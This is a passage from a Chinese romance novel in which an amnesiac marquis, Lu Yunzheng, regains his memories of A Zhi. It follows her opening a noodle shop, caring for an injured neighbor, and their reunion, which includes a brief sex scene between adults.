阿致鼓起两瓣嫣红的嘴唇,唇角上翘,道:“既然还要一起吃晚饭,那你明日早点回来,我做你最爱的栗子糕。”
陆昀峥的嘴唇抿成一条直线,看着面前的女子。
阿致看着他的脸,笑容慢慢融化。
“已经找到王阳,他赶来保宁还需一个月。”陆昀峥说,“他来之前,你带着希君去另一个院子住。”
“你是要把我送走?”阿致双眼圆睁,随即冷静下来。
陆昀峥点头:“我会让人把所有事情都安排妥当。”
这是通知不是商量,阿致很清楚。她退后一步,将身上的大氅归还给他:“不用你安排,我有其他计划,后日我自己搬走。”
陆昀峥没有伸手接那大氅,看着她身着单薄的衣裳,在夜风中瑟瑟发抖。
阿致咬紧牙关,看着他,她不会问为什么。她很了解他,问了也没有答案。
·
第二日中午,陆昀峥回去拿印章,正看到希君在院子里背书,后背挺得很直,摇头晃脑的。
陆昀峥想起昨晚上那小兵说的话,仔细看希君的眉眼。
像他吗?是像的。眼形一样,眉毛一样。可是……
“陆叔叔,你回来啦。”希君终于抓住他,立刻撒娇要抱抱,还要给陆昀峥背书。
希君坐在陆昀峥怀里,一下子背出了十句,然后双手像捧水一样并拢,伸到陆昀峥脸跟前。
陆昀峥不解地看着她,将大手覆盖在她手心上。
希君摇头,将双手抽出来,再次捧水一样并拢摆在他面前,两眼亮晶晶的:“之前说好了,背一句就是十文钱。十句就是一百文钱。”
陆昀峥哈哈大笑起来,揪着她的小鼻子:“你这小丫头,原来在这里等着坑我。”
“怎么是坑呢?之前是叔叔你自己答应的。”希君一本正经地道。
陆昀峥伸手到袖子里摸了摸,摸出十文铜钱来:“叔叔现在没有那么多钱怎么办?”
“你不会说话不算话吧。”希君撅起嘴来,双手抱在胸前。
陆昀峥想了想,从胸口摸出一个小东西,摊在手心:“用这个抵账如何?”
“金叶子?”希君惊呆了,她立刻抢走那小小的一片薄叶子,在阳光下闪闪发光,“我就要这个。”
远远的,阿致从后厨过来,看到陆昀峥坐在石凳上,怀里抱着希君。父女俩不知道在说什么,十分激动开心。
陆昀峥抬头看到阿致,随即凑到希君耳边小声道:“你阿妈要来了。”
希君立刻将那金叶子塞到了自己胸口,装作无事发生的样子,大喊:“阿妈!”
阿致走过来,伸手去牵希君:“别耽误陆叔叔的时间。”
希君扭啊扭,从陆叔叔的腿上下来。
“不妨事。”陆昀峥挺喜欢和希君玩耍的,他看着希君的笑容,自己的嘴角也忍不住上翘。这几天,只要回家看到希君的笑容,他在军营里那些让人疲惫的事,能立刻忘掉。
“我还有事。”阿致牵着希君离开,希君揣着自己的书,三步一回头,看着陆昀峥。
·
“阿妈,我们又要搬家了吗?”晚上,希君从床上挣扎着坐起来。
“嗯。”阿致重新换了蜡烛,将所有的行李、衣物都整理好,打包成几个包袱。所幸她到这里也没几天,行李仍旧不多。
希君的小手摁着枕巾,问:“那陆叔叔要和我们一起搬家吗?”
阿致把整理好的包袱归置起来:“只有我和你搬家。”
“可是我们在这里住着不是很开心吗?为什么要搬家呢?”
阿致坐到床边,伸手轻轻摸女儿的额角:“希君,再怎么样,也要靠自己的双手生活,不能总是仰赖别人过活。这里再好,不如阿妈自己去开个铺子挣钱。”
今日白天,阿致找了个房牙,将之前看中的一个铺面定下来了。那个铺面和医馆在同一条街,曾经最大的缺点是离陆昀峥这处院子太远,现在成了最大的优点。
希君似懂非懂地点点头。
阿致伸手扒开她的枕巾。
希君连忙抱住阿妈的胳膊,急得直冒汗:“阿妈你做什么?”
阿致抽手:“明日搬家,你那小金叶子不带着,能安心么?”
被发现啦。希君调皮地笑了笑,自己掀开枕巾,从枕头里的小缝抠出一片金光闪闪来,她放在阿妈的手心里,按了按:“阿妈,你帮我收一天。”
·
第二日下午,阿致准备好马车,将行李都塞在马车上,正要离开时,邬春荣过来了,抱着一大堆被褥什么的,一路吭哧吭哧跑过来:“小娘子等等。”
他将这些被褥塞进马车里,气喘吁吁:“小娘子,你怎的没有将这些带走?”
“没必要,重新置办也简单。”
“小娘子你这完全没必要嘛。您看还需要什么,我现在去给您准备。”邬春荣抹去满头大汗,“侯爷吩咐了,您要什么东西,只管找我。”
原来他安排过了。不要白不要,阿致趁机提出许多要求。
·
“禀侯爷,小娘子还是如前几日一样,在面铺里清扫,没有可疑行径,也未曾与贺忠有所来往。”罗三抬头,看着陆昀峥的脸。
傍晚的霞光透入书房,陆昀峥脸上是一贯的冷肃:“继续派人盯着。”
罗三领命出去。小娘子离开后的第二天开始,陆昀峥便日日让他汇报进展,即使没有进展。
陆昀峥又叫住他:“多派个人,保证安全。”
安排完这些,陆昀峥伸手按着眉心。头昏脑胀的,干脆走出房间,去到外面看那粉色和烟灰色的云彩,搅在一起。
蓦地,他很想要去集市吃一碗热气腾腾的面。
找了两家铺子,陆昀峥随便选一家,吃了一碗面。
走到大街上时,天色还早,他便由着性子随便逛逛。没一会,他看到那东兴街三个字,他立刻停下脚步,抬头往前一望,果然,正好看到熟悉的身影。
阿致从铺面里出来,手上提着一担子杂碎泥土。自从定下这间铺面,她就忙得脚不点地。搬进来的当天,她先是把后面的小房间收拾出来,铺上干净的厚被子,晚上和希君住在里头,舒舒服服的。住下来的第二天,她又去请了师傅砌灶台、通水井。她这后院挺大的,足够另外设一个灶台,这样她可以将前边都作为厅堂。至于那口水井,井巴子出了点问题,还能勉强用,但阿致开面馆,这水井怎么着也得修好。这一连几天,师傅进进出出地帮忙,终于快完工了。她自己得了闲,则将后院前厅都整理了一番,舍不得请人来做,实在太花钱。
从铺面前厅出来时,阿致还在想,等再过两天,一切都定下来了,她还得去置办些锅碗瓢盆和食材,那她的面馆就可以开张了。
阿致灰头土脸地一抬头,正好看到陆昀峥,他眉头皱着。
两人的视线交错,随即都错开了目光。
陆昀峥站在原地,嘴巴张了下,想说什么,终究是没说。
阿致提着那一担杂碎泥土,往他身旁那个木板车走去,一边肩膀使力,整个人斜着很吃力。
那木板车专用来收集不用的垃圾,里头已经堆积了不少杂物。等到木板车满了,会有倾脚头过来处理。
陆昀峥三两步过去,从她手里抢过那担子。
阿致没有推脱,送出那担子,轻松地拍了拍手,看他毫不费力地将那一袋垃圾倒在木板车里。
陆昀峥过来,手中拿着担子,轻轻咳嗽一声:“我只是凑巧路过。”
阿致嘴里的那声谢谢咽下去,她笑着说:“我里头还有几担。”
陆昀峥二话没说,跟着她
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去到面馆里头,把剩下的杂碎都给清理掉扔出去。
果然,男人还是更适合做家务。阿致一个人须得半天做完的活计,陆昀峥来了大刀阔斧的一刻钟就完了。
正在后院砌灶台的师傅是个年轻小伙子,他这两天来往,都没见过有什么壮年男子,只见着阿致一个俏女人带着个幼女,便以为阿致是个带孩子的寡妇。直到方才瞥见前厅的那男子,他惊呆了。
前厅的男子身着衣裳明显能看出来是个军爷,还有不低头衔,那长相就更不用说了,虽说胡子拉碴的看着有些潦草,但是吧一脸的贵气,不像普通人家。就这样的军爷,见了阿致这样的老板娘,进到铺面里说干就干,吭哧吭哧的,丝毫不讨价还价,也不怕把手弄脏。反倒是老板娘年纪轻轻站在一旁,指挥他这里那里一通干活。
趁着陆昀峥出去的空当,那年轻师傅他凑过来打听:“老板娘,这是你丈夫?”
想想也是,如果没有个可靠的男人,孤儿寡母怎的有钱来买这么个铺面?听说这个铺面可是不便宜。
阿致不喜欢别人凑过来,但这年轻师傅总是没得个分寸,但又没有太过火,以至于阿致也不好说什么。
这时候,她看着门外男人的高大身影,抿着嘴唇,想了一会,轻轻点头。
看样子夫妻感情没有那么好啊。不过,人家名花好歹是有主的,年轻师傅作揖:“老板娘明日收尾。”
阿致点头,从袖子里摸出一两碎银子给他:“这是今日的工钱。”
“好嘞,我去收拾下工具就走。”
阿致点头,她伸手招呼陆昀峥跟着去后院洗手。
水井已经修好了,她弯腰去提一桶水。
陆昀峥站在后院里,看着一旁背对着的年轻男子,伸手在地上捡了个松子,轻轻弹到屋檐上。不一会,屋顶上冒出个黑衣的蒙面人来,和陆昀峥对视后,他重新隐藏在屋脊之下。
陆昀峥的心终于踏实了。
那年轻小伙子识趣退出去。
一时间,院子里很安静,只有几只鸟站在枝丫上呱唧呱唧叫。霞光照在院子里,也照在阿致的脸上身上,一片粉色。陡然,陆昀峥想起了在密县的那一天,也是在她的面馆后院,她打水给他洗手。
陆昀峥问:“希君呢?”
阿致侧身,示意他往前头走:“她喜欢隔壁医馆里的一个药童,每日在医馆里玩。”
“医馆里病人多,让她少去。”
阿致抬头看着他,不耐烦地道:“外头天黑了,你早些回去吧。”
两人走到门口,正巧希君被那药童牵回来,她另一只小手上还拿着别人送她的破布娃娃。
希君隔着淡淡的夜色,看到陆昀峥,立刻甩开药童哥哥的手,伸开双臂扑过来,开心大叫:“陆叔叔,我好想你。”
陆昀峥伸手,将她抱起来,开心地转了两个圈:“叔叔也像你呀。”
对着希君,他的语气也温和了许多。
希君哈哈大笑,双手抱着他的脖子,小脸贴在他的下巴上磨蹭。
·
陆昀峥打马回去时,天已经彻底黑了,周围街道也黑漆漆的,只三三两两的屋子里透出些微的烛火。
他头顶一轮满月,快马加鞭,如同一支离弦的箭,冲破黑暗。冷风披面,他嘴角上翘,十分畅快。
电光火石之间,他脑海里似乎裂开了条缝,有什么东西要从中涌出。
陆昀峥赶紧勒住缰绳,细细琢磨,方才那种即将想起重要之事的感觉再次消失。
自从失忆,他就像是困在了黑夜无人的街道上,一如此刻。
·
匆匆几日过去,陆昀峥早早处理完军务,他打算去吃牛肉面,听罗三说,今日阿致的面馆开张。
走在路上,他才注意到,街边竟有个破旧的书斋。书斋里都是些陈年旧书,许多书册甚至都不全。
陆昀峥不自觉往书斋里走,随手拿起一本书翻开,就这么站着了。
他正沉浸在书册之中,被一阵小女生的窃笑吵到,一回头,看到两个少女,站在书斋门口对着他笑。
两人眉来眼去,捂着嘴偷笑,不知道说了什么。
其中一个高个的黄衣少女似乎有些不好意思,侧着身子匆忙离开了书斋。还有一个矮个的紫衣少女气势挺拔,怀中抱着一本兵书,迎着他的目光,两人对视。
紫衣少女身后站这个两丫髻的小丫头,小丫头看到陆昀峥满脸的冷峻,吓得赶紧伸手拉住自家小姐。
紫衣少女冷冷给她一个脸色,转头带着笑,眼神明亮地看着陆昀峥,问他:“公子,你成婚了没有?”
33. 她就是阿致
33
在昏暗的厨房里,少女坐在柴火引塘边上,正午刺眼的光柱扫开潮湿黑暗,铺开在她身上,她眼睛亮晶晶的,嘴唇润泽,凑到陆昀峥面前,眼睫毛忽闪忽闪,问:“你成婚了没有?”
你成婚了没有?
陆昀峥头痛欲裂,他伸手摁住额角,更多的记忆被倾斜出来,阿致的脸清晰可见。
在宜阳城的黑夜之中,冷风吹着,阿致伸手勾在他的脖颈上,满脸泪痕地亲吻他,她的唇是鲜红的、温热的,她的发丝被风吹得无所适从时,她直视他,说:“阿峥,我们成亲吧。”
还有许多许多的画面,五颜六色的,染了光影的画面,一一塞满了陆昀峥的脑子。关键的谜题终于解开,如同一个花骨朵朝着烈日骤然盛放。
阿致,他苦苦寻找的阿致,他终于知道她就是阿致。
头疼停止时,他看到了一只纤纤细手抚上他的肩膀:“公子,你怎么了?”
陆昀峥抬头,正是方才问他是否成婚的紫衣女子,他伸手推开她。
武娅禾收回手,看着他的脸:“怎么,这么个问题也能让你头疼难过?”
陆昀峥伸手摸一把脸,掌心湿润。也不知为什么,想起宜阳城中的那些记忆,他心中除了欣喜,还有许多苦涩,眼泪自然就划出来。
陆昀峥放下另一手中的书,跨步往外走,他要去找阿致。
武娅禾伸手拦住他:“你还没回答我的问题,你到底成亲了没有?”
她身后的丫鬟再次拉住她的袖子:“小姐。”
陆昀峥摇头,正准备开口,才发现嗓子已经哑了。
“我劝你回答之前搞清楚我是谁。”武娅禾收回手,得意地笑了笑,对身后的丫鬟示意个眼色。
丫鬟看着那冷脸的男人,结巴道:“我家小姐是北边武府的三小姐。”
“哦,这和我有什么关系?”陆昀峥懒得解释,箭步从书斋出去,直奔东兴街的面馆。
“不知好歹!”武娅禾望着那男子的背影,气得脸都青了,“茱漾,给我去查他的身份。”
·
陆昀峥刚出街没几步,被街口一群涌出的人撞到。
这群人正说着,东兴街前头有个小娘子被人推倒了石灰坑里,哎哟,身上好大一块烫熟了,旁边的小丫头吓得大哭。
陆昀峥大惊,他眉头皱起来,抓住一个过路人问情况,对方只知道是在一个面馆附近,那生石灰刚推到水坑里,还冒着热泡呢,一个小娘子便被人推下水坑去了,烫得大喊,可怜的很。
陆昀峥想起来,面馆附近确实有个石灰坑……难道阿致出事了?今日面馆开业,究竟是发生了何事,竟然会被推入石灰坑中?
如果她真的出事了,他这一辈子都会后悔。
好不容易赶到面馆,面馆确实开业了,可面馆里压根没有人。陆昀峥冲进面馆里,喘着粗气找了半天,没有看到阿致,也没有看到希君。
陆昀峥额头上冒出热汗来,他一拍额顶,应该去医馆寻人。如果真的出事了,她必然是在医馆。
医馆在隔壁,陆昀峥快步赶过去。此时医馆人满为患,里三层外三层都是人,许多人都是看热闹的,窗子口都是人。
陆昀峥听到里头女子的痛呼声,焦急地往里头挤,被骂了好几次,终于挤到里头,一眼看到了阿致,长舒一口气。
人群里头,是一张躺椅,椅子上躺着个年轻小娘子,身着蓝布巾子的长裙,长裙上满是白色的石灰,裙子下摆被掀起来,她的左腿被烫得红肿,有许多水泡。而阿致正在一旁帮忙大夫将那石灰一点点擦下来,擦干净后用冷水一遍遍冲洗。
陆昀峥吊着的心终于放下来,他主动去打井水来。
阿致正忙着将凉水一勺一勺地泼到美娘的腿脚上,身旁的一桶水让人换了,她的手腕撞到一个男子的胳膊,她一侧头,发现是陆昀峥。
两人对视一眼,都没说话,阿致手上不停,默契地舀了一勺冷水,继续给美娘的腿脚降温。
这时候从外头冲进来一个男人,扒开人群,大喊:“美娘美娘!”
是美娘的丈夫,江善守。他急得满头是汗,挤到人群中,拉住美娘的手。
美娘的手些微往回缩了些,脸上勉强挤出一丝笑容,眉头却还是皱着。凉水冲着创面,疼得她直咬牙。
周围人一片感动,这丈夫还真是关切妻子呐。
阿致面无表情,她转动酸痛的胳膊,将那水瓢递给江善守,让他继续干活。
她退出来,被陆昀峥拉到一旁。他问:“你受伤了没有?”
他这紧张的模样,若是让别人看了,可要误会。前些日还避她如蛇蝎,现在他不怕误会了?阿致转了转手腕,推开他:“陆侯爷,民女王致不敢劳您费心,也不敢给您添麻烦。”
阿致避开他,转身去药柜后头,果然,小丫头希君正蹲在地上玩游戏,和美娘的女儿。不一会功夫,两个小丫头就熟络起来。
阿致拉着两个小丫头去隔壁面馆里。
陆昀峥伸手去拉希君的小手,希君开心地跳上了陆昀峥的怀里:“陆叔叔!”
站在面馆门口,阿致拦住跟着的陆昀峥:“侯爷,你的院子可不在这里。”
就知道她还记仇,陆昀峥看了看这两个小丫头,让她们去后院房里,才跟阿致低头:“前几日将你遣出来,是我的不对。”
阿致双手抱在胸前:“我知道了,你可以走了。”
陆昀峥咳嗽两声,艰难开口道:“那个,我想起来一些之前的事——”
阿致伸手打断他,微笑:“侯爷,我们约好,要等王阳到了再定夺,那便遵守约定。不然,今日您说记起来一些事,明日又反悔,将我再遣出来又当如何?”
陆昀峥哑然失笑。
“你笑什么?”阿致歪头问。
“你方才便猜到我恢复记忆,是不是?”陆昀峥笑看着她。
阿致没有否定,而是催他离开,随即自己去检查面馆里的物件,很好,都没有丢。她的钱匣子锁上了,放在案板下面,没有被人摸走。当然,钱匣子打开,里面也没有几个铜板。
“你要怎么才能消气?”陆昀峥伸手,放在她的后腰上,一把将她捞进怀里,两人身体上下都贴着,阿致挣扎着,胳膊推开他的肩膀,一点用没有,两人更像是闹着玩。
突然,阿致忍不住连连咳嗽,咳得满脸通红。她弯着腰,捂着嘴唇,头有些晕。
陆昀峥扶着她的胳膊,问她怎么了,阿致扭头,不让他瞧。
陆昀峥似乎看到她嘴唇下有一抹黑紫色,于是用力捧住她的脸,盯着她的唇仔细看,却什么也瞧不着。她刚咳嗽过,嘴唇红润。他手指在她嘴唇下轻轻摩挲,再也看不到什么紫黑色的印记。
或许是他想多了。
阿致推开他的手:“你做什么?”
陆昀峥伸手,一把将她抱在怀里,下巴搁在她耳侧,呼吸喷洒在她耳后。
阿致被他紧紧桎梏着很不舒服,后颈的汗毛都要被他吹得竖起来,可是怎么也挣不开。
“阿妈!我们肚子饿了。”希君牵着美娘的女儿楚楚,出现在后门口,看着紧抱着的两个大人,都傻眼了。楚楚伸手,捂住了希君的双眼。
阿致用力推开陆昀峥,拍了拍自己胳膊上根本不存在的灰尘,红着脸说给她们做面条。
希君扒开楚楚的手,看着陆昀峥:“陆叔叔,你们在做什么?”
陆昀峥咳咳两声:“你阿妈刚才差点摔倒了。”
·
吃面的时候,希君要挨着陆昀峥一起坐。
陆昀峥示意阿致,让她坐在左手边的空位。阿致就当没看到,她端着面碗,坐在了他对面,给楚楚又多添了半碗面条。
楚楚才七八岁,不会说话,但是听力是
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好的,也很会察言观色,她几下吸溜完面条,就要回去隔壁医馆里找爹妈去。
阿致留她多吃一口她也不愿意。
阿致正准备把她送过去,她爹江善守过来了。
江善守依旧是一身黄色葛衣,肩头、袖口还有衣摆下打着几个补丁,灰头土脸的,方才在医馆里照顾美娘应也是很累的。
阿致把楚楚的手递给他:“美娘怎样了?”
“大夫说,所幸及时处理,没有大碍,再休息些时间便能大好。听说是小娘子你救了美娘,真是多谢,往后有机会一定报答。”他一脸感激,满面拳拳,伸手接过楚楚。
他的袖口上滑,露出手腕上一道伤口。这伤口很新鲜,上面一层刚凝固的血迹。
“不妨事的,只是恰巧碰到了,算不上什么报答的事。”阿致皱眉,抿着嘴唇,还是道,“你受伤了?”
江善守按住袖口,将伤口掩藏起来,另一只手上的袖口又上滑,露出陈旧的伤痕来,他讪笑着道:“只是小伤。”
阿致没再多说。
江善守领着女儿楚楚,对阿致和里头坐着的陆昀峥点头示意后快速离开。
·
晚上,房里点了一根蜡烛,仍旧昏暗。阿致在后房里哄希君睡觉,希君这一日累得很,很快就睡着了。
陆昀峥洗碗完毕,从外头院子里打水洗手后,轻手轻脚去到房里,看到阿致垂颈坐在床幔边上,欣喜之感在寂静中慢慢涌出来。
阿致找了个帕子给他:“别擦在身上。”
陆昀峥正准备将湿手往身上擦,闻声停下来,笑看着她:“我看今日那受伤的美娘,她丈夫对她格外关切。”
阿致翻找帕子的动作一顿,道:“别人家夫妻之间的事,你哪儿知道。”
“他今日跑进医馆时,一只草鞋都跑歪了,你没看到吧。”陆昀峥道。
阿致把帕子递给他:“你擦了手就走吧,我也要歇下了。”
原本今日面馆开业就够累了,正巧碰到美娘掉到石灰坑里,她费了大力气将美娘拉上来送去医馆。
陆昀峥擦完手,看着她的脸,挪到床边坐着:“我今晚不走。”
他要赖在这里。
阿致站在房门口没动,冷脸看着他。
陆昀峥摸过来,抱住她:“你要怎样才消气?不如你打我,打死我。”
阿致平静得很:“你为什么要把我和希君送出来?”
“贺忠他有问题,很可能是楼烦的细作。”陆昀峥解释,“就是送你来的贺二哥。”
“他送我来的,你便怀疑我?避着我?”
“避着你……”陆昀峥忽地想起她中衣湿透的那模样,他喉结滚了滚,咳咳道,“这些都是我的不是,但你也知道我必须谨慎点,之前也不知道你真的是阿致。你生气的话,使劲打。”
阿致的拳头捏紧,看着他:“真的?”
“真的,我没有半句谎言。”
阿致伸手,使劲锤他的胸口。这可是你说可以使劲打的。阿致连日来的火气到了顶峰。
陆昀峥被锤得闷哼一声,装作委屈的样子:“你好狠的心。”
嘴上这么说,手还是捏着阿致的后腰,一点不肯放。两人腰腹紧紧贴在一起。
阿致又伸手锤了他好几次,可惜再也狠不下心来。
陆昀峥低头,伸手抹去她脸上的泪痕,搂着她的腰,亲吻她的嘴唇。
两人灼热的呼吸纠缠在一起,陆昀峥扯掉她的腰带,如同剥葱一样,一层又一层,露出大片的莹白来,在昏暗的烛火中十分惹眼。
阿致看了一眼床上的希君,陆昀峥便明白她的意思,大手一挥,将床帐放下来,熄灭了蜡烛,又伸手抬起她的裙摆,将人逼到墙边贴着。有些微的月光从外头照进来,她的眼光澄亮,嘴唇也是一片水盈盈的。
陆昀峥将她搂在怀里,托着她紧贴着自己。
34. 等我打完这一仗
34
阿致被他冲击着,疲软不堪,只能靠墙借力,伸手抓着陆昀峥的胳膊,咬牙忍耐。
两人在黑暗里对视,脸上染了激动的色彩。
他的胳膊肌肉膨胀,如同热火里烤过的石头。阿致想起来五年前在侯府时,他们知道此生不可能在一起,不可能成亲时,在他暗闭的房间里,就是这样沉沦着贴着彼此,伴着傍晚的天色一点点昏暗下去。
阿致挂在他的胳膊上,伸手轻轻按在他的肩头,如同抱着一根浮木,凑过去亲他的嘴唇,随即拉开距离,在黑夜里看着他。
不论未来会怎样,此刻她只想飞蛾扑火,享受她想要的。
她额角的发丝被汗水汇成一缕,贴在脸颊上。
陆昀峥的手捏住她的肩胛骨,贴着她肌肤上的热汗,他低头用脸颊蹭开那缕黑发,去就她的唇,更加猛烈地冲击,释放过去所有压抑的情致。
·
许久,阿致慢慢平息气韵,她用手肘撑着冰冷的墙壁,推开身后的人。
陆昀峥不肯放,一把抱住她,从后头吻着她的侧颈。
突然,面馆前头传来细细的敲门声。
两人立刻穿好衣裳,陆昀峥将阿致按住,让她在房里等着,他去查看。
“侯爷。”敲门的是罗三,他身后站着小厮邬春荣,还有一个小兵。
这小兵就是前几日遣回府里报信的年轻人,他一脸焦虑,将一封信递给他:“侯爷,周副将抓到了一个奸细,对方或许已经将布防图偷偷运出城了。”
陆昀峥看完信,一脸冷肃。他大步回到后院,阿致等在那里,她听到了只言片语,大概能猜出来事情不对。
“我现在有急事先走,明天早上再抽空来看你。”陆昀峥解释。
“我知道。”阿致手上拿着个干帕子递给他,擦把脸。
“若有什么事,你找邬春荣给办了。”
“好了,我知道了,我会安排好自己的事。”阿致制止他的唠叨,将他送出门去。看他焦头烂额的,心已经不在这里。
邬春荣看到阿致,笑着作揖。他就知道,他家爷夜不归宿的,定然是在小娘子这里。
·
一连两天,陆昀峥都没有出现。头一天希君还为这事闹了,第二天不闹了,但是不太开心。
阿致已经习惯这种情况,五年前在宜阳城,陆昀峥若是几天不出现,必然是事情严重。
第三天日的傍晚,阿致早点收摊去看望美娘。
美娘的家,隔着医馆有四个巷口的距离,不算远。这几日,阿致日日去美娘家照顾她,帮她换药,或者是帮衬她一些。
阿致第一次踏入他们家时,属实是有些吃惊。这屋里几面青砖墙是泥巴糊的,屋顶是茅草搭的顶。整个屋还算大,一共三间房。可以看出来祖上是有些家业的。只是到了如今,屋子里空空荡荡的,除了劳作的一点工具,就剩一张瘸腿的桌子和另外四条瘸腿的长凳,凳子脚用木头补起来过,又瘸了。还有前几日下雨了,屋顶漏雨,屋内的泥巴地还没干,空气里有一股湿润的霉味。穷困的家里,塞满了阴暗的影子。家徒四壁,不过如此。
当时美娘躺在里头的小木床上,盖着散发霉味的薄被子,她有些不好意思:“让你见笑了,都是因为我长期生病,才会让家人都陪着我吃苦。”
阿致想起来房牙说过,美娘长期生病,连家务活都做不了,她丈夫江善守花了不少钱,才将她的命吊着。
一旁的楚楚像个小大人,坐在床边握着母亲美娘的手,急忙比划着。美娘一脸难过又欣慰地看着女儿,说:“好好好,为娘再不说这种话了。”
阿致想起来自己在密县独自带孩子那五年,甚是艰难,更不用说美娘现在的状况,她想要帮美娘做点什么,但是贸然提出帮人,有点不妥当。
这日,还没踏入美娘家的院子,阿致就听到里头传来“砰砰砰”摔凳子的声音,是江善守,他十分不耐烦:“说了让你什么都不要做!你弄出个好歹来,不是要花更多钱?”
阿致站在院墙外一会儿,等到里头声音平息了,她才进去。正好碰到江善守,他要出门去给人搬卸货物,肩膀上搭着一块汗巾。
阿致和他点头示意后,进到屋内,问美娘好些了吗。
美娘垂着眼睛,许久没有说话,她的两只手交握在一起,大拇指轻轻摩挲,她抬头看着阿致,嘴角是无力的笑容:“致娘,劳烦你扶我去外面坐一会,我想晒晒太阳。”
阿致什么话也没说,她找了个稍微平整些的凳子搁外面,再将美娘带到外头去。阿致擦了擦额头的汗,和她并肩坐着,面朝西沉的日头,最后的一丝彩霞很好看,但一点温度也没有。
美娘望着那粉色的云彩,脸上升起朦胧的、淡淡的喜悦,她说:“对不起,总让你看到我们吵架。我摔下石灰坑的那日,你也看到我与丈夫吵架了吧。”
阿致垂下眼,看着美娘一动不动交握的双手:“吵架很正常,哪有夫妻不吵架。”
那一日,美娘外出卖帕子,被丈夫呵斥一顿,便有些头晕。和丈夫分别后,一个不注意掉下石灰坑。阿致正好看到,才能及时将她救起来。
美娘有气无力地望着远方渐渐淡去的色彩,转头看着阿致,挤出一丝笑容来:“其实江郎是个很好的人,他以前不这样的。自从我生病,他没日没夜地劳作赚钱,赚了钱便换成了汤药,日子过得紧巴巴,就像是喘不过气来。是个人都很难忍受这种痛苦,但是他不舍得抛下我,这样的日子坚持了好几年。他真的很不容易,可要是不知情的人听说我们吵架,肯定要怪他的薄情。但是致娘你看我这模样,真的不能怪他——”
“我知道,这不能怪他。”阿致轻轻拍她的冰冷的手。美娘想说的很简单,类似于久病床前无孝子。
美娘盯着最后一抹云彩:“我总是想,若我这身子争气一些,能多少做点事赚点钱,不要总是拖后腿、给江郎添麻烦,或许我们能和和美美许多。不像致娘你那么能干,将孩子养得那样好。”
“谁都想健健康康的,你不要责怪自己。”阿致安抚她,问她是否愿意做个帮工。
阿致的想法是,她可以请美娘到面馆帮忙洗碗筷,做点小事。这种事不多,大都是坐着就能干的活计。另外阿致还包了美娘和楚楚的午饭。
“当然,我能出的工钱也不是很多,看你是否愿意。”
美娘一听,眼睛都亮了,震惊得半天不知道说什么,眼泪如同浪花一样涌上来,她赶忙捧着阿致的手,连声说好。
“不过,你还是和丈夫商量下,争取他的同意更好。”
美娘的脸上爬了失落,她呐呐地说:“他……他会答应的。”
她的右手慢慢捏紧成一个小拳头。
·
阿致回到面馆时,天色暗了,不过远远的,她便看到了熟悉的人影。
五年时间,她和他都不再是少男少女,一路风尘仆仆,终于有幸再聚,肩上都是岁月的风霜。也不知道这风霜是否会更加沉重,沉重到无法承受,就像美娘和江善守那样。
夜风起了,陆昀峥转身,看到翻飞的裙裾,他快步过去,一把将瘦弱的人搂在怀里,下巴贴在她的耳侧:“去哪里了?”
他的声音沙哑。
“去看美娘。”阿致轻轻伸手,抱住了他粗壮的腰身,他身上有些微的汗味。看来这几日都没怎么休息、洗漱。
“哦,前两日那对夫妻。”陆昀峥想起来那慌张焦急的丈夫江善守,随即抛之脑后,“想我了吗?”
看来,他的难事处理好了。
阿致拍他的后背:“你吃了吗?”
“没有,想吃你做的牛肉面。”陆昀峥的下巴在她的耳侧轻轻摩挲,他的胡渣轻轻刷过她的皮肤。
在宜阳城时,她做的牛肉面,是他的最爱。陆昀峥恢复些记忆后才明白,那日走入她的面馆,并不是什么意外,只是必然。
阿致起锅给他煮了一碗面。他坐在房里吃面,希君就在旁边粘着他,坐在他腿上捣乱。
陆昀峥困得眼睛都快睁不开了,被小丫头闹得无可奈何,拿下巴上的胡渣扎她。希君被他扎得跳下来到处跑:“陆叔叔讨厌!”
在密县的时候,希君一脸老气横秋,见着陆昀峥,整个人开朗活泼了许多。
阿致看了一眼,便又去烧水给他洗漱。这么一会儿功夫,她回到房里去叫他,他已经斜躺在床上睡着了,甚至还打鼾。
看来这几日是真的累着了。
希君坐在一旁玩他的胡渣,小手摸在上面刺痛刺痛的。之前在密县,土豆哥找到了一只刺猬,骗她去抓,被刺得痛了好久,差点憋不住掉金豆豆。
阿致给他脱了靴子,将他的腿抬上去,再去安置希君洗漱。
洗漱完毕,她先是去前厅清点今日的收支,账本子收好,又去检查明日早上要用的面粉、小菜。这些都弄好了,她脱了外衣,轻手轻脚躺在被窝中间,给女儿盖好被子。
被窝里,她的手触碰到陆昀峥,陆昀峥反手捏着她的手,捏得死死的,喃喃着说:“没事的,阿致,没事的。”
·
第二日,快到午饭时,陆昀峥才醒来。这一觉他睡得昏天黑地。
阿致给他找了个干净的帕子,让他先洗漱去。
陆昀峥凑过来:“你嫌弃我?”
“嫌弃。”阿致伸手,把他的脸扒开,干净的衣裳递给他,“前两日邬春荣送来的。”
陆昀峥看着那干净衣裳,笑了笑,
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邬春荣这事干得周全。
洗完澡,陆昀峥也没什么事要做,他暂时休息一天,便在后院里帮着洗碗,碗也洗完了,他想要去前厅腻着阿致,被阿致一把推开了:“别碍事。”
陆昀峥只能一边去,同希君玩游戏。
希君一次输了不服,再一次输了,她佯装生气:“陆叔叔,你让让我呀,我这么小。”
陆昀峥的舌尖抵着上颚,轻笑道:“好啊,不过我有个条件。”
“什么条件?”希君双条小胳膊抱在胸前。
“叫我阿爹。”陆昀峥眯眼盯着小丫头。
希君歪头看他,许久不说话,反而是转头看了看不远处的阿妈,抽出一只小胳膊,摊手在陆昀峥面前。
陆昀峥被她气笑了,从袖口里去掏金叶子:“小小年纪,跟你爹要钱倒是挺理直气壮的。”
他从怀里掏出了五片金叶子。上次看这小丫头喜欢,他便又找人换了些来,正好派上用场。他从中抽了一片,放在小丫头的小手中。
希君看了手掌中的金叶子,撇了撇嘴,又看着陆昀峥。眼神里写满了无语:就这?
陆昀峥往她手心里又塞了两片金叶子:“小小年纪,要知足。”
希君仍旧不为所动,她拿起那三片金叶子,放在一旁的棕黑木桌上,语重心长地摇摇头:“陆叔叔,你做交易这么没有诚意?”
说完,小丫头就要走。
陆昀峥一把拉住她,将最后两片金叶子全扔桌上:“你口气还不小,这样总可以了吧。”
希君嘴角上扬,眼睛里终于带了得意的笑意,她歪头拿起那五片金叶子,捏在手里看它们在阳光下闪闪发光,道:“我还要一个月的糖人,怎么样?”
她眼角余光瞥着她陆叔叔,十分狡黠。
陆昀峥又爱又恨,伸手去搓她的小肉脸,却只能被拿捏:“好,一个月的糖人,到时候牙掉了,不许怪我。”
